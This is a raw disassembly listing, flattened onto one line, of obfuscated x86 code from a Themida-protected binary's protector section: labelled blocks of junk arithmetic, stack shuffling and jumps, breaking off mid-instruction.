loc_59DB35: ; CODE XREF: Themida_:005A5E98j mov ecx, 37CC1008h push 6B36h mov [esp], edi mov edi, 0A9E3D0Ah jmp loc_5ACB2E ; --------------------------------------------------------------------------- loc_59DB4C: ; CODE XREF: Themida_:0059A19Bj cmp cx, ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59DB55: ; CODE XREF: Themida_:005A6BBBj mov [esp], edi jmp loc_5A7F13 ; --------------------------------------------------------------------------- loc_59DB5D: ; CODE XREF: Themida_:0059DEB2j push dword ptr [esp] pop edx push ebx jmp loc_5A4213 ; --------------------------------------------------------------------------- loc_59DB67: ; CODE XREF: Themida_:005A5182j pop esp imul cl movzx cx, ah push small 70D3h mov [esp], cx jmp loc_59C8D3 ; --------------------------------------------------------------------------- loc_59DB7B: ; CODE XREF: Themida_:005A791Bj mov [esp], ebx jmp loc_5A94AE ; --------------------------------------------------------------------------- loc_59DB83: ; CODE XREF: Themida_:005A8571j pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 jmp loc_5A2982 ; --------------------------------------------------------------------------- loc_59DB9C: ; CODE XREF: Themida_:005AB3AEj xor al, 0ACh jmp loc_5A37D8 ; --------------------------------------------------------------------------- loc_59DBA3: ; CODE XREF: Themida_:005AC854j sub esp, 4 mov [esp], ebp jmp loc_5A3562 ; --------------------------------------------------------------------------- loc_59DBAE: ; CODE XREF: Themida_:00599DC6j mov ebx, [esp] jmp loc_59F5CE ; --------------------------------------------------------------------------- loc_59DBB6: ; CODE XREF: Themida_:005AE438j push 25BD3037h pop ebx neg ebx push edx mov edx, 46A84501h jmp loc_5AC6A2 ; --------------------------------------------------------------------------- loc_59DBC9: ; CODE XREF: Themida_:005A59B2j push 26B5h mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_5988BA ; --------------------------------------------------------------------------- loc_59DBDB: ; CODE XREF: Themida_:005A0F69j mov edx, 6FA24D0Ah jmp loc_59F6E9 ; --------------------------------------------------------------------------- loc_59DBE5: ; CODE XREF: Themida_:00599A7Bj pop ecx push ecx mov ecx, esp push 418Bh mov [esp], edx mov edx, 4 add ecx, edx jmp loc_5A920E ; --------------------------------------------------------------------------- loc_59DBFD: ; CODE XREF: Themida_:005A5662j not edi shr edi, 8 add edi, 0FFFFFFFFh jmp loc_59C163 ; --------------------------------------------------------------------------- loc_59DC0A: ; CODE XREF: Themida_:005A5331j ; Themida_:005A59DAj sub ebx, edi mov edi, [esp] add esp, 4 sub eax, ebx jmp loc_5A03E3 ; --------------------------------------------------------------------------- loc_59DC19: ; CODE XREF: Themida_:0059D7D2j push esi mov esi, 1A5F035Dh or esi, 0FC82263h push eax jmp loc_5ADE0C ; --------------------------------------------------------------------------- loc_59DC2B: ; CODE XREF: Themida_:005A4955j ; Themida_:005A9A12j push edi mov edi, esp add edi, 4 push esi jmp loc_5A56CB ; --------------------------------------------------------------------------- loc_59DC3A: ; CODE XREF: Themida_:005A4058j pop edx push ebp mov ebp, esp jmp loc_59FF06 ; --------------------------------------------------------------------------- loc_59DC43: ; CODE XREF: Themida_:005AD505j add eax, 786A0A9Ch sub eax, ebp sub eax, 786A0A9Ch sub esp, 4 mov [esp], ebx push eax jmp loc_5A28DE ; --------------------------------------------------------------------------- loc_59DC5B: ; CODE XREF: Themida_:005A1071j add eax, 481579BDh add eax, 7DA52320h add eax, esi jmp loc_5A19CF ; --------------------------------------------------------------------------- loc_59DC6C: ; CODE XREF: Themida_:0059E5CBj push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_5A5910 ; --------------------------------------------------------------------------- loc_59DC83: ; CODE XREF: Themida_:005ADA4Cj mov [esp], ebp mov ebp, 67C39F2h not ebp push ebp jmp loc_5A74F2 ; --------------------------------------------------------------------------- loc_59DC93: ; CODE XREF: Themida_:0059C63Aj add edi, 4 add edi, 4 jmp loc_59D8AF ; --------------------------------------------------------------------------- loc_59DCA4: ; CODE XREF: Themida_:0059C03Ej add ebx, 3CAFF774h mov esi, ebx pop ebx jmp loc_5A66C1 ; --------------------------------------------------------------------------- loc_59DCB2: ; CODE XREF: Themida_:loc_5AE1E0j or cl, 0F6h jb loc_59AC9C jmp loc_5A2A97 ; --------------------------------------------------------------------------- loc_59DCC0: ; CODE XREF: Themida_:005AA616j mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 4B921222h jmp loc_599696 ; --------------------------------------------------------------------------- loc_59DCD9: ; CODE XREF: Themida_:005A6FD8j add esp, 4 add esp, 4 sub esp, 4 jmp loc_5A6B3E ; --------------------------------------------------------------------------- loc_59DCEA: ; CODE XREF: Themida_:005AF0D5j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59DCEF: ; CODE XREF: Themida_:005ADE17j not dword ptr [esp] mov edi, [esp] add esp, 4 xchg edi, ebx add ebx, 60E645A2h add ebx, 0C6E358h xor eax, ebx mov ebx, [esp] add esp, 4 push ebx sub esp, 4 mov [esp], ecx mov ecx, 527E31BCh push edi mov edi, 527E29BCh add ecx, 37B240Fh sub ecx, edi push esi mov esi, 37B240Fh sub ecx, esi pop esi mov edi, [esp] add esp, 4 mov ebx, ecx pop ecx and eax, ebx jmp loc_59BB08 ; --------------------------------------------------------------------------- loc_59DD4D: ; CODE XREF: Themida_:005AD925j push eax mov eax, 1A5509CEh shr eax, 4 not eax neg eax not eax jmp loc_5AA453 ; --------------------------------------------------------------------------- loc_59DD61: ; CODE XREF: Themida_:005ACCC4j mov eax, 4F1B4DD1h shl eax, 8 or eax, 51367673h shl eax, 1 shr eax, 5 xor eax, 2A288A66h add ebx, eax pop eax jmp loc_5A772D ; --------------------------------------------------------------------------- loc_59DD80: ; CODE XREF: Themida_:0059B4FCj mov [esp], ebp jmp loc_59D92C ; --------------------------------------------------------------------------- loc_59DD88: ; CODE XREF: Themida_:0059C34Ej sub bl, ah pop ax sub bl, 6Bh push ecx mov ch, 0FCh xor ch, 2Ah jmp loc_5A77F8 ; --------------------------------------------------------------------------- loc_59DD9A: ; CODE XREF: Themida_:005AE3CAj pop ecx jmp loc_598BC5 ; --------------------------------------------------------------------------- loc_59DDA0: ; CODE XREF: Themida_:005A6590j add esi, 0FA1DDA24h add edx, esi pop esi sub esp, 4 mov [esp], edi push esp mov edi, [esp] jmp loc_5A3166 ; --------------------------------------------------------------------------- loc_59DDB8: ; CODE XREF: Themida_:0059E873j mov ebp, 952AC319h sub edx, ebp pop ebp sub eax, 57C97726h push edi mov edi, 70967471h jmp loc_5A3849 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi jmp loc_5A6AF3 ; --------------------------------------------------------------------------- loc_59DDDF: ; CODE XREF: Themida_:0059D091j ; Themida_:005AB9DDj mov ebx, esp add ebx, 4 jmp loc_5A7A0A ; --------------------------------------------------------------------------- loc_59DDEC: ; CODE XREF: Themida_:0059874Bj add esi, edi sub esi, 5FEB70F2h mov edi, [esp] add esp, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push 24h pop edx sub edx, 44F93754h add edx, edi jmp loc_5A0485 ; --------------------------------------------------------------------------- loc_59DE1D: ; CODE XREF: Themida_:005A868Dj sub esp, 4 mov [esp], esi push 38B57FDAh pop esi sub esi, 38B57FD6h push edx push edi mov edi, esi mov edx, edi pop edi mov edi, edx pop edx pop esi sub edx, 45626E6Fh add edx, edi jmp loc_5A692A ; --------------------------------------------------------------------------- loc_59DE47: ; CODE XREF: Themida_:loc_5A34F4j ; Themida_:005ACEBDj mov edi, 4 add edx, 3C1B79BBh jmp loc_5A5598 ; --------------------------------------------------------------------------- loc_59DE57: ; CODE XREF: Themida_:005AB31Bj push ecx jmp loc_59FFAC ; --------------------------------------------------------------------------- loc_59DE5D: ; CODE XREF: Themida_:005ABE6Cj xchg esi, [esp] pop esp retn ; --------------------------------------------------------------------------- jmp loc_59838C ; --------------------------------------------------------------------------- loc_59DE67: ; CODE XREF: Themida_:005A8A66j sub esi, edx pop edx add esi, edx add esi, 682A3A1Ch pop edx sub esi, 4 jmp loc_59AB47 ; --------------------------------------------------------------------------- loc_59DE7E: ; CODE XREF: Themida_:005AEF26j mov [esp], edi push 692Ah mov [esp], edx push eax mov eax, 3C9B3428h shl eax, 5 jp loc_5A64B0 neg eax js loc_5AA53A shr eax, 4 mov ebx, eax push ebp loc_59DEA6: ; CODE XREF: Themida_:005A8A81j ; Themida_:005AD836j sub eax, 20F21502h sub eax, edx add eax, 20F21502h jmp loc_59DB5D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59DEC5: ; CODE XREF: Themida_:005A7195j mov [esp], esi sub esp, 4 push esp pop dword ptr [esp] push esi mov esi, 4 add [esp+4], esi pop esi mov esi, [esp] jmp loc_5AF1D5 ; --------------------------------------------------------------------------- loc_59DEE2: ; CODE XREF: Themida_:005ADEADj ; Themida_:005AEECFj mov ecx, ebx jmp loc_59A7D5 ; --------------------------------------------------------------------------- loc_59DEE9: ; CODE XREF: Themida_:005AC8DAj mov ebp, [esp] add esp, 4 shr ebp, 4 xor ebp, 61214F10h jmp loc_59CB19 ; --------------------------------------------------------------------------- loc_59DF00: ; CODE XREF: Themida_:005ADB67j add [esp+8], ebx pop ebx pop ebp pop dword ptr [edi+20h] jmp loc_5A77FF ; --------------------------------------------------------------------------- loc_59DF0E: ; CODE XREF: Themida_:005A6FCDj mov esi, 2388447Dh sub edx, esi pop esi add esi, edx push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 jmp loc_5A4E59 ; --------------------------------------------------------------------------- loc_59DF2A: ; CODE XREF: Themida_:00599A1Dj mov edx, 0DAF7E51h push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_5A86DD ; --------------------------------------------------------------------------- loc_59DF40: ; CODE XREF: Themida_:005A0DF3j push edi mov edi, 57F37C19h inc edi jp loc_5A4FC0 xor edi, 71C61AC3h jbe loc_5AC588 add edi, 0F8160DDCh mov edx, edi jmp loc_59F022 ; --------------------------------------------------------------------------- loc_59DF66: ; CODE XREF: Themida_:0059DA3Ej mov [esp], ecx jmp loc_5AB8EA ; --------------------------------------------------------------------------- loc_59DF6E: ; CODE XREF: Themida_:005A7C3Aj mov [esp], edx mov dl, 73h add al, dl pop edx jmp loc_5A8C26 ; --------------------------------------------------------------------------- loc_59DF7B: ; CODE XREF: Themida_:005AB7E8j mov edi, [esp] add esp, 4 sub edi, 20A32C03h jmp loc_5A68BA ; --------------------------------------------------------------------------- loc_59DF8C: ; CODE XREF: Themida_:005A3A83j xchg eax, [esp] mov esp, [esp] jmp loc_59C02F ; --------------------------------------------------------------------------- loc_59DF97: ; CODE XREF: Themida_:005A638Dj pop edx add al, cl pop ecx push 2CEh mov [esp], edx mov dh, 89h add dh, 8 push eax mov al, 58h jmp loc_5AB3A7 ; --------------------------------------------------------------------------- loc_59DFB0: ; CODE XREF: Themida_:0059CBDFj push edx mov edx, 0FDB7C73h jmp loc_5A581C ; --------------------------------------------------------------------------- loc_59DFBB: ; CODE XREF: Themida_:0059BB7Aj jno loc_5A2B8F sub ebp, 5B4D5506h jmp loc_5A650C ; --------------------------------------------------------------------------- pop edi add ebp, eax push edi loc_59DFD0: ; CODE XREF: Themida_:005ACDDCj xor edx, 0F2336367h mov ebx, edx mov edx, [esp] add esp, 4 sub dword ptr [esp+4], 1AF52AF8h jmp loc_5A2BBE ; --------------------------------------------------------------------------- loc_59DFEB: ; CODE XREF: Themida_:005A3363j jle loc_5A9427 jmp loc_5A047B ; --------------------------------------------------------------------------- mov cx, [esp] add bh, 53h push esi loc_59DFFE: ; CODE XREF: Themida_:loc_5A63C1j dec ebp jnp loc_59C589 push ecx mov ecx, 3AB0DC03h xor ebp, ecx pop ecx mov ebx, ebp jmp loc_59D775 ; --------------------------------------------------------------------------- loc_59E015: ; CODE XREF: Themida_:005AD83Ej neg ch jmp loc_5AC7A9 ; --------------------------------------------------------------------------- loc_59E01C: ; CODE XREF: Themida_:005AE066j sub cl, 0D4h sub cl, 6 jmp loc_59921B ; --------------------------------------------------------------------------- loc_59E027: ; CODE XREF: Themida_:005A5CB8j mov [esp], eax push esp pop eax jmp loc_5A61F7 ; --------------------------------------------------------------------------- loc_59E031: ; CODE XREF: Themida_:0059CE38j pop dword ptr [esp] pop esp mov [esp], eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] test cl, al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59E051: ; CODE XREF: Themida_:005A0161j ; Themida_:005AED39j sub esi, 33A12661h add esi, eax add esi, 33A12661h jmp loc_5A6578 ; --------------------------------------------------------------------------- loc_59E064: ; CODE XREF: Themida_:005A6FE2j pop ecx shl edi, 1 push edx mov edx, 13796CB6h add edi, edx jmp loc_59B5ED ; --------------------------------------------------------------------------- loc_59E074: ; CODE XREF: Themida_:005A4B1Ej jmp loc_5A7112 ; --------------------------------------------------------------------------- push 43DAh mov [esp], esp jmp loc_5A20E2 ; --------------------------------------------------------------------------- loc_59E086: ; CODE XREF: Themida_:0059FA7Dj dec edx jg loc_5A5328 sub edx, 4CE67444h shl edx, 8 jns loc_5AE327 sub edx, 5864A9CFh mov ecx, edx mov edx, [esp] add esp, 4 or ecx, 16E61F92h jnp loc_5AA125 sub ecx, 0FFFFFFFFh xor ecx, 17E60F97h mov ebx, ecx loc_59E0C7: ; CODE XREF: Themida_:005A4386j ; Themida_:005A7878j add ebx, 583F9CBFh jmp loc_599163 ; --------------------------------------------------------------------------- loc_59E0D2: ; CODE XREF: Themida_:0059FEBAj and ecx, ebx pop ebx shr ecx, 7 push 4744h mov [esp], edx mov edx, ebx push 271Dh mov [esp], esi push edx pop esi mov eax, esi mov esi, [esp] push 790Ch jmp loc_5ACF35 ; --------------------------------------------------------------------------- loc_59E0FB: ; CODE XREF: Themida_:005A3BE2j mov esp, [esp] mov [esp], ebx push dword ptr [esp] jmp loc_59D9CF ; --------------------------------------------------------------------------- loc_59E109: ; CODE XREF: Themida_:005AA281j sub esp, 4 mov [esp], edi push eax mov eax, 34F024B0h sub eax, 34F024ACh push eax xor dword ptr [esp], 520A307Ch pop edi xor edi, 520A307Ch pop eax push 40C9h jmp loc_5A9C4C ; --------------------------------------------------------------------------- loc_59E137: ; CODE XREF: Themida_:0059D51Bj mov ebp, 2BBF19AEh mov edi, ebp pop ebp neg edi xchg ebx, edi neg ebx xor edi, ebx jmp loc_5A3488 ; --------------------------------------------------------------------------- loc_59E14C: ; CODE XREF: Themida_:005A12FBj add ch, 8Dh add bl, ch pop ecx add bl, ah jmp loc_5A0FAF ; --------------------------------------------------------------------------- loc_59E159: ; CODE XREF: Themida_:005A8097j mov eax, 4F9A109Ch sub eax, 623456F6h and eax, 34AD2187h neg eax dec eax add eax, 66D95D15h xor ebx, eax jmp loc_5ADA9D ; --------------------------------------------------------------------------- loc_59E177: ; CODE XREF: Themida_:00598808j mov ecx, esi jmp loc_5A1F5A ; --------------------------------------------------------------------------- loc_59E17E: ; CODE XREF: Themida_:005ACE1Bj mov cl, 4Fh and cl, 8Ah jo loc_599585 sub cl, 38h jg loc_5A127F or cl, 9Ah jg loc_5A873E shl cl, 2 jnz loc_598A4D add cl, 1Eh neg cl jmp loc_5A1057 ; --------------------------------------------------------------------------- loc_59E1AE: ; CODE XREF: Themida_:005A17C2j mov esi, 4 add ebp, esi pop esi jmp loc_59ED9E ; --------------------------------------------------------------------------- loc_59E1BB: ; CODE XREF: Themida_:005A7AE0j xor edx, 3944398Ch jz loc_5A81E7 xor edx, 0ABCA726h push edi mov edi, 1DE5486Ah jmp loc_5A1E2E ; --------------------------------------------------------------------------- loc_59E1D8: ; CODE XREF: Themida_:005AE941j push eax mov eax, 6E7605BCh add eax, 62764D6Fh jmp loc_5A4AD0 ; --------------------------------------------------------------------------- loc_59E1E8: ; CODE XREF: Themida_:0059F59Fj add esi, 39DB0629h sub ebp, 0C5538EBh sub ebp, esi add ebp, 0C5538EBh pop esi push 2EAFh mov [esp], edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp mov ebp, 48F01E11h jmp loc_5AE8C3 ; --------------------------------------------------------------------------- loc_59E222: ; CODE XREF: Themida_:005AC656j xor bl, al push ebx sub esp, 4 mov [esp], edx mov edx, 38h mov ebx, edx jmp loc_5A67FD ; --------------------------------------------------------------------------- loc_59E23A: ; CODE XREF: Themida_:0059C9F2j add ebp, 66AD2725h jnz loc_5AD790 jmp loc_599B23 ; --------------------------------------------------------------------------- push ebx mov ebx, 4 add edi, ebx pop ecx loc_59E254: ; CODE XREF: Themida_:0059EA5Cj pop ebx push ebp mov ebp, esp add ebp, 4 jmp loc_5A7596 ; --------------------------------------------------------------------------- loc_59E263: ; CODE XREF: Themida_:005A17F6j push eax jmp loc_5A8C5C ; --------------------------------------------------------------------------- loc_59E269: ; CODE XREF: Themida_:loc_599A02j shr esi, 7 neg esi jp loc_5A7773 add esi, 22C8E3C7h jmp loc_59E34C ; --------------------------------------------------------------------------- mov ebx, [esp] loc_59E282: ; CODE XREF: Themida_:005A613Aj xchg edx, [esp] pop esp mov [esp], eax mov al, dl push edx mov dl, al mov bl, dl mov edx, [esp] add esp, 4 jmp loc_5AE15C ; --------------------------------------------------------------------------- loc_59E29B: ; CODE XREF: Themida_:005AAEEDj add esp, 4 and bl, 16h xor bl, 0Fh add ch, 2Ch push eax mov ah, 0C4h sub ch, ah pop eax add ch, bl push eax jmp loc_5A7A35 ; --------------------------------------------------------------------------- loc_59E2B5: ; CODE XREF: Themida_:0059A960j add esi, 6194B4Bh jmp loc_5A900D ; --------------------------------------------------------------------------- loc_59E2C0: ; CODE XREF: Themida_:0059E92Dj pop eax jmp loc_5A2E9F ; --------------------------------------------------------------------------- loc_59E2C6: ; CODE XREF: Themida_:0059B460j pop edi jmp loc_5AE353 ; --------------------------------------------------------------------------- loc_59E2CC: ; CODE XREF: Themida_:0059AB08j push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_5A7A3C ; --------------------------------------------------------------------------- loc_59E2DA: ; CODE XREF: Themida_:0059C5D0j and ebx, 45387091h jmp loc_5AA65B ; --------------------------------------------------------------------------- loc_59E2E5: ; CODE XREF: Themida_:005A96CAj push dword ptr [esp] pop esi add esp, 4 push 1694h mov [esp], ebx jmp loc_59FDE4 ; --------------------------------------------------------------------------- xor [esp], cx xor cx, [esp] xor [esp], cx sub esp, 2 mov [esp], cx push bp mov cx, [esp] jmp loc_59F451 ; --------------------------------------------------------------------------- loc_59E31D: ; CODE XREF: Themida_:005AB171j add ebp, 97045F98h jmp loc_5A9094 ; --------------------------------------------------------------------------- loc_59E328: ; CODE XREF: Themida_:0059C8FFj inc esi and esi, 30C82B1Fh push edi mov edi, 462278EEh or edi, 3FA9288Fh shl edi, 3 add edi, 7CB5575Fh or esi, edi pop edi jmp loc_59FA3A ; --------------------------------------------------------------------------- loc_59E34C: ; CODE XREF: Themida_:0059E27Aj ; Themida_:005A43B2j mov edx, 29CB5F6Ah sub ecx, edx mov edx, [esp] add esp, 4 sub ecx, 6F675C58h sub ecx, 58426ED5h sub ecx, ebx add ecx, 58426ED5h push ebp mov ebp, 6126223Eh shr ebp, 3 shr ebp, 6 xor ebp, 6F57CF49h add ecx, ebp pop ebp jmp loc_59F649 ; --------------------------------------------------------------------------- loc_59E387: ; CODE XREF: Themida_:005A6BABj mov [esp], eax jmp loc_5ADCBF ; --------------------------------------------------------------------------- loc_59E38F: ; CODE XREF: Themida_:0059BE65j mov ebx, 4E165F0Fh xor ebx, 4E165F0Dh jmp loc_5A6460 ; --------------------------------------------------------------------------- loc_59E39F: ; CODE XREF: Themida_:loc_5A2204j neg ebp inc ebp jz loc_5A7582 push edx jmp loc_598D6B ; --------------------------------------------------------------------------- loc_59E3AE: ; CODE XREF: Themida_:005AA4DAj push ebp jmp loc_5A3FB1 ; --------------------------------------------------------------------------- dd offset dword_5CA668 dd 8F06800h, 0E5E90000h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59E3C3: ; CODE XREF: Themida_:0059B8B5j sub ebp, 433C5957h mov edi, [esp] add esp, 4 add ecx, 794B32BBh jmp loc_5A71D6 ; --------------------------------------------------------------------------- loc_59E3DA: ; CODE XREF: Themida_:005A9BD8j or esi, 0A4713F4h shr esi, 7 jmp loc_5AE7EB ; --------------------------------------------------------------------------- loc_59E3E8: ; CODE XREF: Themida_:005A155Aj push esp pop ecx add ecx, 4 jmp loc_5AE14D ; --------------------------------------------------------------------------- loc_59E3F5: ; CODE XREF: Themida_:005AE856j sub edx, 62FB32ABh pop esi sub esp, 4 mov [esp], ebx jmp loc_59F941 ; --------------------------------------------------------------------------- loc_59E407: ; CODE XREF: Themida_:loc_5A4E94j add ecx, 5EC81022h mov ebx, ecx pop ecx neg ebx sub esp, 4 jmp loc_59FCCA ; --------------------------------------------------------------------------- loc_59E41D: ; CODE XREF: Themida_:0059AD86j ; Themida_:005A6C38j add edi, edx add edi, 2BA11727h pop edx push ebp mov ebp, 4 push ecx mov ecx, 6E22045Dh add edi, ecx pop ecx sub edi, ebp sub edi, 6E22045Dh pop ebp xchg edi, [esp] pop esp jmp loc_5AB664 ; --------------------------------------------------------------------------- loc_59E447: ; CODE XREF: Themida_:0059CDDFj add bl, 9 xor bl, 0ADh sub ch, bl jmp loc_59F2E5 ; --------------------------------------------------------------------------- loc_59E454: ; CODE XREF: Themida_:005AADE1j ; Themida_:005AE171j push edi mov edi, 2BAE2CC3h sub [esp+0Ch], edi pop edi sub [esp+8], ebx add dword ptr [esp+8], 2BAE2CC3h pop ebx add dword ptr [esp+4], 2D02246Eh sub [esp+4], ecx sub dword ptr [esp+4], 2D02246Eh add dword ptr [esp+4], 1ABD5205h pop ecx add [esp], eax push ebp push ebx jmp loc_59D46D ; --------------------------------------------------------------------------- loc_59E493: ; CODE XREF: Themida_:0059916Bj dec ebp push esi push 6E3Ah mov [esp], ebx mov ebx, 6DD221B6h dec ebx xor ebx, 1058465Ch jmp loc_5A854B ; --------------------------------------------------------------------------- loc_59E4AE: ; CODE XREF: Themida_:005AEF1Dj sub esp, 4 jmp loc_59AE67 ; --------------------------------------------------------------------------- loc_59E4B6: ; CODE XREF: Themida_:005A1CDCj add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5A9774 ; --------------------------------------------------------------------------- loc_59E4CD: ; CODE XREF: Themida_:005A494Fj mov ebx, 5CC41433h push esi mov esi, 6A9B066Eh xor ebx, esi mov esi, [esp] add esp, 4 jmp loc_59ADD2 ; --------------------------------------------------------------------------- loc_59E4E5: ; CODE XREF: Themida_:0059A894j ; Themida_:005AAC35j jp loc_5A6189 sub esp, 4 mov [esp], ebx jmp loc_5A53E9 ; --------------------------------------------------------------------------- inc ebp dec ebp loc_59E4F8: ; CODE XREF: Themida_:005A60D1j add esp, 4 pop dword ptr [eax] push 751Eh jmp loc_59E6F3 ; --------------------------------------------------------------------------- loc_59E507: ; CODE XREF: Themida_:005A9A8Cj push 200Ch mov [esp], eax mov ah, 0E4h push ecx jmp loc_59E997 ; --------------------------------------------------------------------------- loc_59E517: ; CODE XREF: Themida_:0059C076j mov [esp], ebp jmp loc_5ACA90 ; --------------------------------------------------------------------------- loc_59E51F: ; CODE XREF: Themida_:005A590Bj mov esp, [esp] add edi, 55CD2E16h sub edi, 23AA0990h push eax mov eax, 0B811670h push edx mov edx, 57E10761h not edx and edx, 3F475AE3h neg edx xor edx, 1BC25CBDh sub edx, 372100D3h sub edx, 96ADC206h add eax, edx pop edx jmp loc_5997C6 ; --------------------------------------------------------------------------- loc_59E55E: ; CODE XREF: Themida_:005A9B3Fj xor [esp], eax xor eax, [esp] mov esp, [esp] add [esp], al pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59E570: ; CODE XREF: Themida_:005A2D25j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp add edi, 2 jmp loc_5ADB3D ; --------------------------------------------------------------------------- loc_59E585: ; CODE XREF: Themida_:005A1BF5j xchg ecx, [esp] pop esp mov ebx, [esp] push 101Fh mov [esp], ebp push 73B2h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_5ABF2B ; --------------------------------------------------------------------------- loc_59E5A8: ; CODE XREF: Themida_:005AABF5j push 2626h mov [esp], ecx sub esp, 4 mov [esp], esi mov esi, 51247BA7h not esi not esi add esi, 0AEDB845Ah mov ecx, esi pop esi or [edi+1Ch], ecx jmp loc_59DC6C ; --------------------------------------------------------------------------- loc_59E5D0: ; CODE XREF: Themida_:005A9023j push edx push esi jmp loc_59EAFB ; --------------------------------------------------------------------------- loc_59E5D7: ; CODE XREF: Themida_:005AE36Bj xchg ebp, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59E5E8: ; CODE XREF: Themida_:005A5D71j ; Themida_:005AD43Bj dec ch jmp loc_5ABB72 ; --------------------------------------------------------------------------- loc_59E5EF: ; CODE XREF: Themida_:005A4132j pop ebx shl edi, 3 shr edi, 4 sub edi, 5C9D533Fh xor edi, 0FA272ACh neg edi xor edi, 58717484h xor ecx, edi jmp loc_59EB3E ; --------------------------------------------------------------------------- loc_59E611: ; CODE XREF: Themida_:0059BA71j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push ebp push ebx mov ebx, 73011568h inc ebx jnp loc_598A15 push ebx push ecx jmp loc_5AD3DC ; --------------------------------------------------------------------------- loc_59E636: ; CODE XREF: Themida_:005AD79Dj pop ebx xchg edi, [esp] pop esp mov esi, [esp] add esp, 4 push ecx mov ecx, 4 jmp loc_59B780 ; --------------------------------------------------------------------------- loc_59E64C: ; CODE XREF: Themida_:005A22C8j ; Themida_:005A239Cj add esp, 4 push 6EC8h mov [esp], ebx push ecx mov ecx, 16A20FBCh mov ebx, ecx pop ecx jmp loc_5A897B ; --------------------------------------------------------------------------- loc_59E665: ; CODE XREF: Themida_:005AC480j jmp loc_59EB22 ; --------------------------------------------------------------------------- loc_59E66A: ; CODE XREF: Themida_:0059A8E7j xor [esp], ecx xor ecx, [esp] pop esp jmp loc_59877D ; --------------------------------------------------------------------------- loc_59E676: ; CODE XREF: Themida_:005A3CE7j xor eax, [esp] jmp loc_599F38 ; --------------------------------------------------------------------------- loc_59E67E: ; CODE XREF: Themida_:005A9817j mov esi, esp add esi, 4 push ebx mov ebx, 4 add esi, ebx pop ebx jmp loc_5A9D0B ; --------------------------------------------------------------------------- loc_59E694: ; CODE XREF: Themida_:0059BF16j mov ecx, 251A2702h xor ecx, eax pop eax sub ebx, 76E66560h sub ebx, 208C6549h add ebx, ecx add ebx, 208C6549h add ebx, 76E66560h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 push edi mov edi, 4 add ebx, edi jmp loc_5A5D82 ; --------------------------------------------------------------------------- loc_59E6CF: ; CODE XREF: Themida_:005AEC8Bj mov ecx, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] xor ebx, eax push 177Eh mov [esp], ebx jmp loc_5A2B39 ; --------------------------------------------------------------------------- loc_59E6F3: ; CODE XREF: Themida_:0059E502j ; Themida_:005A8D1Dj mov [esp], ecx jmp loc_59F824 ; --------------------------------------------------------------------------- loc_59E6FB: ; CODE XREF: Themida_:005A3202j pop ebp add ecx, 4 xchg ecx, [esp] mov esp, [esp] push edx push 3AF5h jmp loc_59886E ; --------------------------------------------------------------------------- loc_59E713: ; CODE XREF: Themida_:005A3F4Ej mov edx, 75626F9Fh not edx sub edx, 367EE5CAh sub ebx, edx pop edx push 73DAh mov [esp], ebx add dword ptr [esp], 19A0603Fh jmp loc_599485 ; --------------------------------------------------------------------------- loc_59E737: ; CODE XREF: Themida_:005A4B79j sub ebx, 1D0B5241h mov ecx, [esp] jmp loc_5ABA16 ; --------------------------------------------------------------------------- loc_59E745: ; CODE XREF: Themida_:005A41D8j push ebx mov bh, dl jmp loc_59D150 ; --------------------------------------------------------------------------- loc_59E74D: ; CODE XREF: Themida_:0059D30Cj ; Themida_:loc_5A1F8Dj sub ebp, 64A45C2Dh jmp loc_5A9B95 ; --------------------------------------------------------------------------- loc_59E758: ; CODE XREF: Themida_:0059D157j add esp, 4 sub ah, 40h or ah, 52h dec ah jmp loc_5A7A4D ; --------------------------------------------------------------------------- loc_59E768: ; CODE XREF: Themida_:005A2D0Cj push ebx push esp pop ebx add ebx, 4 push ecx push ebx mov ebx, 4 mov ecx, ebx pop ebx add ebx, ecx pop ecx push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push 78FDh mov [esp], edx mov edx, esp jmp loc_5ACEE0 ; --------------------------------------------------------------------------- loc_59E799: ; CODE XREF: Themida_:005A944Ej xor ebp, edx pop edx mov ecx, ebp pop ebp sub ecx, edx pop edx xor ecx, ebx pop ebx add esi, ecx pop ecx sub edx, 275A3024h jmp loc_5A7EF4 ; --------------------------------------------------------------------------- loc_59E7B3: ; CODE XREF: Themida_:005A9FFAj add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_5A7AC7 ; --------------------------------------------------------------------------- loc_59E7CE: ; CODE XREF: Themida_:005989B5j mov eax, 415E6D59h sub ebp, eax pop eax push ebx mov ebx, 7C1A743Ch sub ebx, 6C5F3211h sub ebx, 0F3212D3Ch add ebp, ebx jmp loc_59D919 ; --------------------------------------------------------------------------- loc_59E7EF: ; CODE XREF: Themida_:0059BA4Bj push 0FF3h jmp loc_5AEF0B ; --------------------------------------------------------------------------- loc_59E7F9: ; CODE XREF: Themida_:005A09D2j xor 